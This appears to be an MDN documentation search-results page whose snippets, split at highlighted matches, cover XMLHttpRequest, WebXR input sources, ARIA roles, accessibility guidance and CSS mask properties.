ipt strings, this means strings in which each character occupies only one byte. so if you pass a string into btoa() containing characters that occupy more than one byte, you will get an error, because this is not considered binary data: const ok = "a"; console.log(ok.codepointat(0).tostring(16)); // 61: occupies < 1 byte const notok = "?" console.log(notok.codepointat(0).tostring(16)); // 2713: ...
Synchronous and asynchronous requests - Web APIs
- the document's text content is output to the console. example: synchronous http request from a worker one of the few cases in which a synchronous request does not usually block execution is the use of xmlhttprequest within a worker. ...
...content is output to the console. example: synchronous http request from a worker one of the few cases in which a synchronous request does not usually block execution is the use of xmlhttprequest within a worker. ...
... is the use of xmlhttprequest within a worker. ...
XMLHttpRequest.response - Web APIs
syntax var body = xmlhttprequest.response; value an appropriate object based on the value of responsetype. you may attempt to request the data be provided in a specific format by setting the value of responsetype after calling open() to initialize the request but before calling send() to send the request to the server. ...
...mplete or was unsuccessful, with the exception that when reading text data using a responsetype of "text" or the empty string (""), the response can contain the response so far while the request is still in the loading readystate (3). the response types are described below. "" an empty responsetype string is treated the same as "text", the default type. ...
... text the response is a text in a domstring object. ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer. ...
XMLHttpRequest - Web APIs
d calls. properties this interface also inherits properties of xmlhttprequesteventtarget and of eventtarget. xmlhttprequest.onreadystatechange an eventhandler that is called whenever the readystate attribute changes. xmlhttprequest.readystate read only returns an unsigned short, the state of the request. xmlhttprequest.response read only returns an arraybuffer, blob, document, javascr
ipt object, or a domstring, depending on the value of xmlhttprequest.responsetype, that contains the response entity body. xmlhttprequest.responsetext read only returns a domstring that contains the response to the request as text, or null if the request was unsuccessful or has not yet been sent. xmlhttprequest.responsetype is an enumerated value that defines the response type. xmlhttprequest.
...entication headers. xmlhttprequest.mozsystemread only is a boolean. if true, the same origin policy will not be enforced on the request. xmlhttprequest.mozbackgroundrequest is a boolean. it indicates whether or not the object represents a background service request. xmlhttprequest.mozresponsearraybuffer obsolete since gecko 6 read only arraybuffer. the response to the request, as a javascr
ipt typed array. xmlhttprequest.mult
ipartobsolete since gecko 22 this gecko-only feature, a boolean, was removed in firefox/gecko 22. please use server-sent events, web sockets, or responsetext from progress events instead. event handlers onreadystatechange as a property of the xmlhttprequest instance is supported in all browsers. since then, a number of additional event handlers have been imp...
.... if the request is asynchronous (which is the default), this method returns as soon as the request is sent. xmlhttprequest.setrequestheader() sets the value of an http request header. you must call setrequestheader()after open(), but before send(). non-standard methods xmlhttprequest.init() initializes the object for use from c++ code. warning: this method must not be called from javascr
ipt. xmlhttprequest.openrequest() initializes a request. this method is to be used from native code; to initialize a request from javascr
ipt code, use open() instead. see the documentation for open(). xmlhttprequest.sendasbinary() a variant of the send() method that sends binary data. events abort fired when a request has been aborted, for example because the program called xmlhttpreque...
XRInputSource - Web APIs
ly a gamepad object describing the state of the buttons and axes on the xr input source, if it is a gamepad or comparable device. if the device isn't a gamepad-like device, this property's value is null. note: while xrinputsource uses the gamepad interface from the gamepad api, this input device is strictly associated with the webxr hardware and is not a general-purpose gaming device. gr
ipspaceread only an xrspace whose origin tracks the pose which is used to render objects which should appear as if they're held in the hand indicated by handedness. the orientation of this space indicates the angle at which the hand is gr
ipping the object. read on in the main article on gr
ipspace for more details on how to use this space. handednessread only a domstring that indicates which han...
...t ray. this is a ray extending from the position of the device outward in the direction in which it is pointed. a target ray emitted by a hand controller. if the device includes a trigger or other squeezable input, such as a hand gesture device that recognizes when the user squeezes their fist, that action is called a primary squeeze action. a primary squeeze action should correspond to a gr
ipping act in reality, such as taking hold of an object or pressing a trigger on a tool or weapon. when a squeeze action begins, such as by the user pressing the trigger or tightening their gr
ip, a squeezestart event is sent to the xrsession. once the action is completed and the user has released the trigger or the gr
ip, a squeeze event is sent. this is followed by a squeezeend, which is also sent i...
...utton), a select event is sent. finally, once that is done--or if the user aborts the action--a selectend event is sent to the session object. an action may be aborted either by the user in some device-specific fashion or if the input device is disconnected before the action is completed. local coordinate system each input source has its own local coordinate system, which is described by the gr
ipspace property, which is an xrspace used to map the input's coordinate system into the world coordinate system. the gr
ip space's coordinate system can then be used to render objects so they appear to be held in the user's hand. for more details on the input source's coordinate system, see the article that covers the gr
ipspace property in detail. specifications specification status...
XRInputSourceArray.values() - Web APIs
for (const source of xrsession.inputsources.values()) { checkinput(source); } here, for...of is used to iterate over the array's contents. ...
... for (const source of xrsession.inputsources.values()) { checkinput(source); } here, for...of is used to iterate over the array's contents. ...
... for (const source of xrsession.inputsources.values()) { checkinput(source); } here, for...of is used to iterate over the array's contents. each pass through the loop, source is the next xrinputsource in the list. the loop exits once every input has been delivered to checkinput(). ...
XRRigidTransform.inverse - Web APIs
essed. applying the inverse of a transform to any object previously transformed by the parent xrrigidtransform always undoes the transformation, resulting in the object returning to its previous pose. in other words, its position and orientation both return to their prior configurations. ...
...h return to their prior configurations. examples in this example, the model view matrix for an object is computed by taking the view matrix and mult
iplying it by the object's pose matrix. let modelviewmatrix = mat4.create(); for (let view of pose.view) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* ... */ mat4.mult
iply(modelviewmatrix, view.transform.inverse.matrix, objectmatrix); gl.uniformmatrix4fv(programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); /* ... */ } this outline of a renderer's core code shows how the pose's view gets represented by taking its transform's inverse's matrix as the model view matrix used to transform objects based on the viewer's posi...
... objectmatrix); gl.uniformmatrix4fv(programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); /* ... */ } this outline of a renderer's core code shows how the pose's view gets represented by taking its transform's inverse's matrix as the model view matrix used to transform objects based on the viewer's position and orientation. the inverse's matrix is mult
iplied by the object's matrix to get the model view matrix, which is then passed into the shader program by setting a uniform to contain that information. specifications specification status comment webxr device apithe definition of 'xrrigidtransform.inverse' in that specification. working draft initial definition. ...
msCapsLockWarningOff - Web APIs
if the caps lock is on. this property enables this warning to be disabled. syntax document.mscapslockwarningoff = true; value type: boolean false: default. automatic caps lock warning is turned on. true: automatic caps lock warning is turned off. ...
...n. this property enables this warning to be disabled. syntax document.mscapslockwarningoff = true; value type: boolean false: default. automatic caps lock warning is turned on. true: automatic caps lock warning is turned off. ...
... function capsoff() { if (document.mscapslockwarningoff == false) { document.mscapslockwarningoff = true; document.getelementbyid("caps").innerhtml = "warning off"; } else { document.mscapslockwarningoff = false; document.getelementbyid("caps").innerhtml = "warning on"; } } </scr
ipt> </head> <body> <label>type a password: <input type="password" /></label><br /> <button id="caps" onclick="capsoff();">warning off</button> </body> </html> ...
Using the alertdialog role - Accessibility
unlike regular alerts, an alert dialog must have at least one focusable control and focus must be moved to that control when the alert dialog appears. ...
...ntion. as the name implies, alertdialog is a type of dialog. this means that most of the instructions provided in the 'using the dialog role' technique are applicable to the alertdialog role as well: the alert dialog must always be given an accessible name (through aria-labelledby or aria-label) , and in most cases the alert text will have to be marked up as the alert dialog's accessible descr
iption (using aria-describedby). unlike regular alerts, an alert dialog must have at least one focusable control and focus must be moved to that control when the alert dialog appears. generally alert dialogs have at least a confirmation, close or cancel button that can be used to move focus to. additionally, alert dialogs can have other interactive controls such as text fields, tabs or checkboxes. ...
... in the operating system's accessibility api. fire an accessible alert event using the operating system's accessibility api if it supports it. when the alert dialog appears, screen readers should announce the alert. when the alert dialog is correctly labeled and focus is moved to a control inside the dialog, screen readers should announce the dialog's accessible role, name and optionally descr
iption before announcing the focused element. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: a basic alert dialog the code sn
ippet below shows how to mark up an alert dialog that only provides a message and an ok button. <div role="alertdialog" aria-labe...
ARIA: application role - Accessibility
an element and all of its children should be treated similar to a desktop application, and no traditional html interpretation techniques should be used. this role should only be used to define very dynamic and desktop-like web applications. <div role="application">...</div> this defines this div element and all of its descendants to be treated like they are part of a desktop application. descr
iption the application role indicates to assistive technologies that this part of the web content contains elements that do not conform to any other known html element or wai-aria widget. any sort of special interpretation of html structures and widgets should be suspended, and control should be completely handed over to the browser and web application to handle mouse, keyboard, or touch interactio...
... parts of the application that should be treated as normal web content aria-activedescendant used to manage focus inside the application. aria-label used to provide the name of the application or purpose of the widget that is being exposed. aria-describedby used to indicate the idref of an element that contains additional instructions for navigating or operating this element. aria-roledescr
iption used to give the application a more descr
iptive role text for screen readers to speak. this should be localized. keyboard interactions keyboard interaction is completely under the web author's control and can be anything associated with the particular widget being implemented. in a slides application, for example, a widget could be created that uses the arrow keys to position elements on ...
...a live region to communicate the position and overlap status with other objects. focus is being managed via aria-activedescendant. the tab , space and enter keys, as well as escape , must be handled by the application. the one exception is if focus is set to a standard widget inside the application that supports keyboard navigation from the browser, for example an input element. required javascr
ipt features keypress used to handle keyboard input and control the focus click, touch handle as appropriate for your widget as well changing attribute values aria-activedescendant is used to manage the focus inside the application container. set in response to keyboard or other application events that change focus or point of interaction. the application role does not have a related html...
ARIA: article role - Accessibility
are related. instead of a div with an article role, use the <article> element. always use native element if available. instead of using role="article", the <article> element can be used. <article> <h2>heading of the segment</h2> <p>paragraph for the segment.</p> <p>another paragraph.</p> ... controls to interact with the article, share it, etc. ... </article> <article> ... </article> descr
iption the article role denotes a section of a document, page, or site that, if it were standing on its own, could be viewed as a complete document, page or site. the aim of a set of article sections is to indicate their relationsh
ip to one another. articles are not considered a navigational landmark, but many assistive technologies that support landmarks also support a means to navigate among art...
... articles can be nested, indicating that a nested article directly relates to the one it is nested in, but not necessarily to the ones outside the nesting hierarchy. see the examples for specific use cases. ...
...associated wai-aria roles, states, and properties aria-posinset in the context of a feed, indicates the position of this particular article within that feed, based on a count starting at 1. aria-setsize in the context of a feed, indicates how many article items there are within that feed. keyboard interactions this role does not support any specific keyboard interaction. required javascr
ipt features event handlers this role does not require any event handlers to be present. changing attribute values when constructing a feed, set the aria-posinset and aria-setsize attributes on each article role to the appropriate values, bearing in mind that aria-posinset is 1-based. always use native element if available. instead of a div with the article role, the <article> element shoul...
ARIA: Comment role - Accessibility
uthor="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details attribute, the value of which should be the id of the comment. ...
...ent-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details attribute, the value of which should be the id of the comment. ...
...oment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details attribute, the value of which should be the id of the comment. ...
ARIA: Complementary role - Accessibility
ole is used to designate a supporting section that relates to the main content, yet can stand alone when separated. these sections are frequently presented as sidebars or call-out boxes. if possible, use the html <aside> element instead. <div role="complementary"> <h2>our partners</h2> <!-- complementary section content --> </div> this is a sidebar containing links to event sponsors. descr
iption the complementary role is a landmark role. landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. content listed within a container with the complementary landmark role should make sense if separated from the main content of the document. using the <aside> element will automatically communicate a section has a role of complementary...
... used sparingly, to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. best practices prefer html using the <aside> element will automatically communicate a section has a role of complementary. if at all possible, prefer using it instead. labeling landmarks mult
iple landmarks if there is more than one complementary landmark role or <aside> element in a document, provide a label for each landmark using the aria-label attribute, or, if the aside has an appropriately descr
iptive title, point to it with the aria-labelledby attribute. this label will allow an assistive technology user to be able to quickly understand the purpose of each landmark. <aside aria-...
...because of this, you do not need to describe what the landmark is in its label. for example, a declaration of role="complementary" with an of aria-label="sidebar" may be announced redundantly as, "complementary sidebar". ...
ARIA: contentinfo role - Accessibility
rmation repeated at the end of every page of a website, including copyright information, navigation links, and privacy statements. this section is commonly called a footer. <div role="contentinfo"> <h2>footer</h2> <!-- footer content --> </div> this is a website footer. using the <footer> element instead is recommended: <footer> <h2>footer</h2> <!-- footer content --> </footer> descr
iption the contentinfo role is a landmark used to identify a page footer. landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. pages should only include one top-level contentinfo landmark role per page. each page should only include one contentinfo landmark, created by either using the <footer> element or by declaring role="contentinfo".
...nderstand the overall layout of the page. one contentinfo landmark per page the <body> element there should be only one contentinfo landmark per document, used as the immediate descendant of the <body> element. mega-footers do not nest additional <footer> elements or contentinfo landmarks inside of the document's footer. use other content sectioning elements instead. labeling landmarks mult
iple landmarks if there is more than one contentinfo landmark role or <footer> element in a document, provide a label with the aria-label attribute for each landmark. this label will allow assitive technology users to quickly understand the purpose of each landmark. <body> ... <article> <h2>everyday pad thai</h2> <!-- article content --> <footer aria-label="everyday pad thai meta...
...nd the purpose of each landmark. <body> ... <article> <h2>everyday pad thai</h2> <!-- article content --> <footer aria-label="everyday pad thai metadata"> <p>posted on <time datetime="2018-09-23 12:17">may 16</time> by <a href="#">lisa</a>.</p> </footer> </article> ... <footer aria-label="footer"> <!-- footer content --> </footer> </body> redundant descr
iptions screen readers will announce the type of role the landmark is. because of this, you do not need to describe what the landmark is in its label. for example, a declaration of role="contentinfo" with an of aria-label="footer" may be announced redundantly as, "contentinfo footer". best practices prefer html when it is an immediate descendant of the <body> element, using the <footer> element ...
ARIA: feed role - Accessibility
r to both read and scroll through a stream of rich content that may continue scrolling infinitely by loading more content as the user reads. <section role="feed" aria-busy="false"> ... <article aria-posinset="427" aria-setsize="-1">...</article> <article aria-posinset="428" aria-setsize="-1">...</article> <article aria-posinset="429" aria-setsize="-1">...</article> ... </section> descr
iption a feed is a page structure for a scrollable list of articles where scrolling may cause articles to be added to the top or end of the list. the list establishes an interoperability contract between the web page and assistive technologies that governs scroll interactions so that assistive technology users can read articles, jump forward and backward by article, and reliably trigger new articl...
... interactions below. if the number of articles is known, set aria-setsize on the articles themselves. however, if the total number is extremely large, indefinite, or changes often, set aria-setsize="-1" to indicate that the size of the feed is not known. another feature of the feed pattern is skim reading: articles within a feed can contain both an accessible name with the aria-label and a descr
iption with an aria-describedby, suggesting to screen readers which elements to speak after the label when navigating by article. by identifying the elements inside of an article that provide the title and the primary content, assistive technologies can provide functions that enable users to jump from article to article and efficiently discern which articles they want to read. the feed pattern enab...
...ontent of the article. each article element has aria-posinset set to a value that represents its position in the feed and an aria-setsize set to a value that represents either the total number of articles that have been loaded or the total number in the feed, depending on which value is more helpful to users. if the total number in the feed is not known, set aria-setsize="-1". required javascr
ipt features none, except as required by any attributes. for example, setting aria-busy to true during the update operation if needed, and then to false upon completion. examples example implementation of feed pattern specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'feed' in that specification. recommendation ...
ARIA: form role - Accessibility
e="form" id="contact-info" aria-label="contact information"> <!-- form content --> </div> this is a form that collects and saves a user's contact information. important: use an html <form> element to contain your form controls, rather than the aria form role, unless you have a very good reason. the html <form> element is sufficient to tell assistive technologies that there is a form. descr
iption a form landmark identifies a region of content that contains a collection of items and objects that, as a whole, combine to create a form when no other named landmark is appropriate (e.g. main or search). using the <form> element will automatically communicate a section of content as a form landmark, if it is provided an accessible name. developers should always prefer using the corre...
...o identify a region of the page; do not use it to identify every form field. even if you are using the form landmark instead of <form>, you are encouraged to use native html form controls like button, input, select, and textarea associated wai-aria roles, states, and properties no role specific states or properties. keyboard interactions no role specific keyboard interactions required javascr
ipt features onsubmit the onsubmit event handler handles the event raised when the form is submitted. anything that is not a <form> cannot be submitted, therefore you would have to use javascr
ipt to build an alternative data submission mechanism, for example with xmlhttprequest. examples <div role="form" id="send-comment" aria-label="add a comment"> <label for="username">username</label> ...
... accessible name. this name will allow an assitive technology user to be able to quickly understand the purpose of the form landmark. use an aria-labelledby, aria-label or title on the same element that was given the role="form" to provide it an accessible name. using role="form" <div role="form" id="gift-cards" aria-label="purchase a gift card"> <!-- form content --> </div> redundant descr
iptions screen readers will announce the type of role the landmark is. because of this, you do not need to describe what the landmark is in its label. for example, a declaration of role="form" with an of aria-label="contact form" may be announced redundantly as, "contact form form". best practices prefer html using the <form> element will automatically communicate a section has a role of form. i...
ARIA: List role - Accessibility
the aria list role can be used to identify a list of items. it is normally used in conjunction with the listitem role, which is used to identify a list item contained inside the list. <section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> descr
iption any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively. a list must have one or more listitem children, or, alternatively, have one or more groups as children, with each group having one or more listitems as children. there are no hard and fast rules about which elements you should use to markup the list and list items,...
... containers respectively. a list must have one or more listitem children, or, alternatively, have one or more groups as children, with each group having one or more listitems as children. there are no hard and fast rules about which elements you should use to markup the list and list items, but you should make sure that the list items make sense in the context of a list, e.g. a shopping list, rec
ipe steps, driving directions. warning: if at all possible in your work, you should use the appropriate semantic html elements to mark up a list and its listitems -- <ul>/<ol> and <li>. see best practices for a full example. associated wai-aria roles, states, and properties listitem a single item in a list or directory. elements with role listitem can only be found in an element with the...
...ted wai-aria roles, states, and properties listitem a single item in a list or directory. elements with role listitem can only be found in an element with the role list or group. group a collection of related objects, limited to list items when nested in a list, not important enough to have their own place in a pages table of contents. keyboard interactions none. required javascr
ipt features none. examples aria lists -- some useful examples and thoughts by scott o'hara best practices only use role="list" and role="listitem" if you have to -- for example if you don't have control over your html but are able to improve accessibility dynamically after the fact with javascr
ipt. unlike the html <ol> and <ul>, the aria list roles doesn't distinguish between ordered and uno...
ARIA: Region role - Accessibility
the region landmark role is used to identify an area in the document that the author has identified as significant. it is used to provide a generic landmark for people to be able to navigate to easily when none of the other landmark roles are appropriate. <div role="region" aria-label="example"> <!-- region content --> </div> descr
iption the region role is an aria landmark role. landmark roles provide a way to identify the organization and structure of a web page. by classifying and labeling sections of a page, structural information conveyed visually through layout is represented programmatically. screen readers use landmark roles to provide keyboard navigation to important sections of a page. the region role should be reserved for sections of content sufficiently important that use...
...an accessible name. developers should always prefer using the correct semantic html element, in this case <section>, over using aria. associated wai-aria roles, states, and properties aria-labelledby use this attribute to label the region. often, the value of the aria-labelledby attribute will be the id of the element used to title the section. keyboard interactions none. required javascr
ipt features none. examples <div role="region" aria-labelledby="region-heading"> <h2 id="region-heading">this heading's <code>id</code> attribute helps this region have an accessible name</h2> <!-- region content --> </div> accessibility concerns use sparingly! landmark roles are intended to be used sparingly, to identify larger overall sections of the document. using too many landmark rol...
...ent --> </div> accessibility concerns use sparingly! landmark roles are intended to be used sparingly, to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. only use the region role if no other relevant content sectioning element or landmark role applies. if mult
iple regions exist on a page, it may be worth reinvestigating the page's overall structure. best practices prefer html using the <section> element will automatically communicate that a section has a role of region if it is given an accessible name. if at all possible, prefer using it instead. labeling landmarks if there is more than one region landmark role in a document, provide a label for ea...
ARIA: rowgroup role - Accessibility
there is, however, no differentiation between different types of rowgroups. their elements must be contained in, or owned by, elements with either the table or grid role. using the native <thead>, <tfoot> , and <tbody> html elements, whenever possible,...
...there is, however, no differentiation between different types of rowgroups. their elements must be contained in, or owned by, elements with either the table or grid role. using the native <thead>, <tfoot> , and <tbody> html elements, whenever possible, is strongly encouraged. to create an ar...
...n rows and columns, similar to the native <table> html element. role="treegrid" similar to a grid, but with rows that can be expanded and collapsed in the same manner as for a tree. descendant roles role="row" a row of cells within a tabular structure. a row contains one or more cells, gridcell, or column headers, and sometimes a row header. keyboard interactions none required javascr
ipt features none. the first rule of aria use is if you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so. employ the html <table> element instead of the aria role of table whenever possible. examples <div role="table" aria-label="semantic element...
ARIA: search role - Accessibility
landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. the search role is added to the container element that encompasses the items and objects that, as a whole, combine to create search functionality. when a <form> is a search form, use the search role instead of form. ...
...es are intended to be used sparingly, to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. best practices prefer html using the <form> element in conjunction with a declaration of role="search" will provide the largest amount of support. labeling landmarks mult
iple landmarks if there is more than one search landmark role in a document, provide a label for each landmark. this label will allow an assitive technology user to be able to quickly understand the purpose of each landmark. <form id="site-search" role="search" aria-label="sitewide"> <!-- search input --> </form> ... <form id="page-search" role="search" aria-label="on this page"> <!-- search...
...use the same label for each landmark. an example of this would be repeating the sitewide search at the top and bottom of the page. <header> <form id="site-search-top" role="search" aria-label="sitewide"> <!-- search input --> </form> </header> ... <footer> <form id="site-search-bottom" role="search" aria-label="sitewide"> <!-- search input --> </form> </footer> redundant descr
iptions screen readers will announce the type of role the landmark is. because of this, you do not need to describe what the landmark is in its label. for example, a declaration of role="search" with an of aria-label="sitewide search" may be announced redundantly as, "sitewide search search". added benefits certain technologies such as browser extensions can generate lists of all landmark roles p...
ARIA: switch role - Accessibility
nd "unchecked" states, which are fairly generic in meaning, the switch role represents the states "on" and "off." this example creates a widget and assigns the aria switch role to it. <button type="button" role="switch" aria-checked="true" id="speakerpower" class="switch"> <span>off</span> <span>on</span> </button> <label for="speakerpower" class="switch">speaker power</label> descr
iption the aria switch role is identical to the checkbox role, except instead of being "checked" or "unchecked", it is either "on" and "off." like the checkbox role, the aria-checked attribute is required. the two possible values are true and false. unlike a <checkbox> or role="checkbox", there is no indeterminate or mixed state. the switch role does not support the value mixed for the aria-checke...
...itch role, and is treated as false. the default value is false. aria-readonly attribute the aria-readonly attribute is supported by the switch role. it indicates whether the widget's state is editable by the user. a value of false means that the user can change the widget's state; a value of true means that the user cannot change the widget's state. the default value is false. required javascr
ipt features handler for click events when the user clicks on the switch widget, a click event is fired, which must be handled in order to change the state of the widget. changing the aria-checked attribute when a click event is fired on the switch widget, the handler must change the value of the aria-checked attribute from true to false, or vice versa. possible effects on user agents and as...
...ially checked courtesy of its aria-checked attribute being set to "true". the switch has two child elements containing the "off" and "on" labels and is followed by a <label> identifying the switch. <button role="switch" aria-checked="true" id="speakerpower" class="switch"> <span>off</span> <span>on</span> </button> <label for="speakerpower" class="switch">speaker power</label> javascr
ipt this javascr
ipt code defines and applies a function to handle click events on switch widgets. the function changes the aria-checked attribute from true to false, or vice versa. document.queryselectorall(".switch").foreach(function(theswitch) { theswitch.addeventlistener("click", handleclickevent, false); }); function handleclickevent(evt) { let el = evt.target; if (el.getattribute("ari...
ARIA: heading role - Accessibility
screen readers would read the text and indicate that it is formatted like a heading. ...
...screen readers would read the text and indicate that it is formatted like a heading. ...
...s, states, and properties aria-level the aria-level attribute specifies the heading level in the document structure. if no level is present, a value of 2 is the default. keyboard interactions this role does not require any special keyboard navigation. as with any heading, giving it an id ensures it can be referenced from anchor links, making it accessible via the keyboard. required javascr
ipt features required event handlers none. changing attribute values usually not required, unless dynamically inserting content. in that case, the newly-added headings need aria-level attributes whose values are consistent with the rest of the document structure. instead of using a <div> or <span> with a heading role and aria-level, consider using a native <h1> through <h6> element instead ...
WAI-ARIA Roles - Accessibility
s screen readers to use the browse mode reading cursor to both read and scroll through a stream of rich content that may continue scrolling infinitely by loading more content as the user reads.aria: figure rolethe aria figure role can be used to identify a figure inside page content where appropriate semantics do not already exist. a figure is generally considered to be one or more images, code sn
ippets, or other content that puts across information in a different way to a regular flow of text.aria: form rolethe form landmark role can be used to identify a group of elements on a page that provide equivalent functionality to an html form.aria: grid rolethe grid role is for a widget that contains one or more rows of cells. the position of each cell is significant and can be focused using keybo...
...n be focused using keyboard input.aria: gridcell rolethe gridcell role is used to make a cell in a grid or treegrid. it is intended to mimic the functionality of the html td element for table-style grouping of information.aria: heading rolethe heading role defines this element as a heading to a page or section. to give the page more structure, a level should also be provided to indicate relationsh
ips between sections.aria: img rolethe aria img role can be used to identify mult
iple elements inside page content that should be considered as a single image. these elements could be images, code sn
ippets, text, emojis, or other content that can be combined to deliver information in a visual manner.aria: list rolethe aria list role can be used to identify a list of items. it is normally used in con...
...rquee math menu menubar menuitem menuitemcheckbox menuitemradio none note option presentation progressbar - old page radio - old page radiogroup range region roletype rowheader(estelle) scrollbar searchbox section sectionhead select separator slider - old page spinbutton status - old page structure tab tablist (michiel) tabpanel (michiel) term timer toolbar toolt
ip tree treegrid treeitem widget window ...
Robust - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the robust princ
iple of the web content accessibility guidelines (wcag) 2.0 and 2.1. robust states that content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies. this can generally be achieved by following web standards and testing rigorously. note: to read the w3c definitions for robust and its guidelines and success criteria, see princ
iple 4: robust -- content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies. guideline 4.1 -- compatible: maximize compatibility with current and future user agents, includ...
...e. use the w3c validator to validate your markup. see debugging html for a practical guide. 4.1.2 name, role, value (a) the name and role of user interface components (e.g. form inputs, buttons, links, etc.) should be programmatically determinable. when using semantic elements correctly for their intended purpose, this criterion should be passed automatically. when scr
ipting custom components, you will need to use wai-aria roles and other features to make sure your controls will be interpreted and are able to be used as intended, e.g. not only by sighted mouse users, but also by screenreader users, keyboard-only users, etc. see html: a good basis for accessibility and wai-aria basics. 4.1.3 status messages (aa) added in 2.1 assistive techn...
... used as intended, e.g. not only by sighted mouse users, but also by screenreader users, keyboard-only users, etc. see html: a good basis for accessibility and wai-aria basics. 4.1.3 status messages (aa) added in 2.1 assistive technology users are made aware of new status messages added to the page. understanding status messages note: also see the wcag descr
iption for guideline 4.1: compatible: maximize compatibility with current and future user agents, including assistive technologies. see also wcag perceivable operable understandable robust ...
Accessibility
erent people use to interact with the web, and how we can make accessibility part of our web development workflow. html: a good basis for accessibility a great deal of web content can be made accessible just by making sure the correct html elements are used for the correct purpose at all times. this article looks in detail at how html can be used to ensure maximum accessibility. css and javascr
ipt accessibility best practices css and javascr
ipt, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. this article outlines some css and javascr
ipt best practices that should be considered to ensure even complex content is as accessible as possible. wai-aria basics following on from the previous articl...
...wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. ...
...cessibility considerations. other documentation understanding the web content accessibility guidelines this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 (wcag 2.0 or just wcag, for the purposes of this writing). keyboard-navigable javascr
ipt widgets until now, web developers who want to make their styled <div> and <span> based widgets accessible have lacked the proper techniques. keyboard accessibility is part of the minimum accessibility requirements which a developer should be aware of. aria a collection of articles to learn how to use aria to make your html documents more accessible. assistive technology (at) development a c...
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
the -webkit-mask-repeat-x property specifies whether and how a mask image is repeated (tiled) horizontally. /* keyword values */ -webkit-mask-repeat-x: repeat; -webkit-mask-repeat-x: no-repeat; -webkit-mask-repeat-x: space; -webkit-mask-repeat-x: round; /* mult
iple values */ -webkit-mask-repeat-x: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-x: inherit; -webkit-mask-repeat-x: initial; -webkit-mask-repeat-x: unset; syntax values repeat the mask image is repeated both horizontally and vertically. no-repeat the mask image is not repeated; only one copy of the mask image is drawn. the remainder of the masked element's content is not displayed. repeat the mask image is repeated both horizontally and vertically. space the image is repeated as much as...
... -webkit-mask-repeat-x: unset; syntax values repeat the mask image is repeated both horizontally and vertically. no-repeat the mask image is not repeated; only one copy of the mask image is drawn. the remainder of the masked element's content is not displayed. repeat the mask image is repeated both horizontally and vertically. space the image is repeated as much as possible without cl
ipping. the first and last images are pinned to either side of the element, and whitespace is distributed evenly between the images. the mask-position property is ignored unless only one image can be displayed without cl
ipping. the only case where cl
ipping happens using space is when there isn't enough room to display one image. round as the allowed space increases in size, the repeated images wil...
... specifications not part of any standard. ...
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
the -webkit-mask-repeat-y property sets whether and how a mask image is repeated (tiled) vertically. /* keyword values */ -webkit-mask-repeat-y: repeat; -webkit-mask-repeat-y: no-repeat; -webkit-mask-repeat-y: space; -webkit-mask-repeat-y: round; /* mult
iple values */ -webkit-mask-repeat-y: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-y: inherit; -webkit-mask-repeat-y: initial; -webkit-mask-repeat-y: unset; syntax values repeat the mask image is repeated vertically. no-repeat the mask image is not repeated vertically; only one copy of the mask image is drawn in vertical direction. the vertical remainder of the masked element's content is not displayed. repeat the mask image is repeated vertically. space the image is repeated as much as possible...
...l; -webkit-mask-repeat-y: unset; syntax values repeat the mask image is repeated vertically. no-repeat the mask image is not repeated vertically; only one copy of the mask image is drawn in vertical direction. the vertical remainder of the masked element's content is not displayed. repeat the mask image is repeated vertically. space the image is repeated as much as possible without cl
ipping. the first and last images are pinned to the top and bottom edge of the element, and whitespace is distributed evenly between the images. the mask-position property is ignored unless only one image can be displayed without cl
ipping. the only case where cl
ipping happens using space is when there isn't enough room to display one image. round as the allowed vertical space increases in size, th...
... specifications not part of any standard. ...
pad - CSS: Cascading Style Sheets
the pad descr
iptor can be used with custom counter style definitions when you need the marker representations to have a minimum length. syntax pad: 3 "0"; values <integer> && <symbol> the <integer> specifies a minimum length that all counter representations must reach. the value must be non-negative. if the minimum length is not reached, the representation will be padded with the specified <symbol>. descr
iption if a marker representation is smaller than the specified pad length, then the marker will be padded with the specified pad symbol. marker representations longer than the pad length are constructed as normal. pad descr
iptor takes the minimum marker length as an integer and a symbol to be used for padding as the second parameter. ...
...the specified <symbol>. descr
iption if a marker representation is smaller than the specified pad length, then the marker will be padded with the specified pad symbol. marker representations longer than the pad length are constructed as normal. pad descr
iptor takes the minimum marker length as an integer and a symbol to be used for padding as the second parameter. a common usage of the pad descr
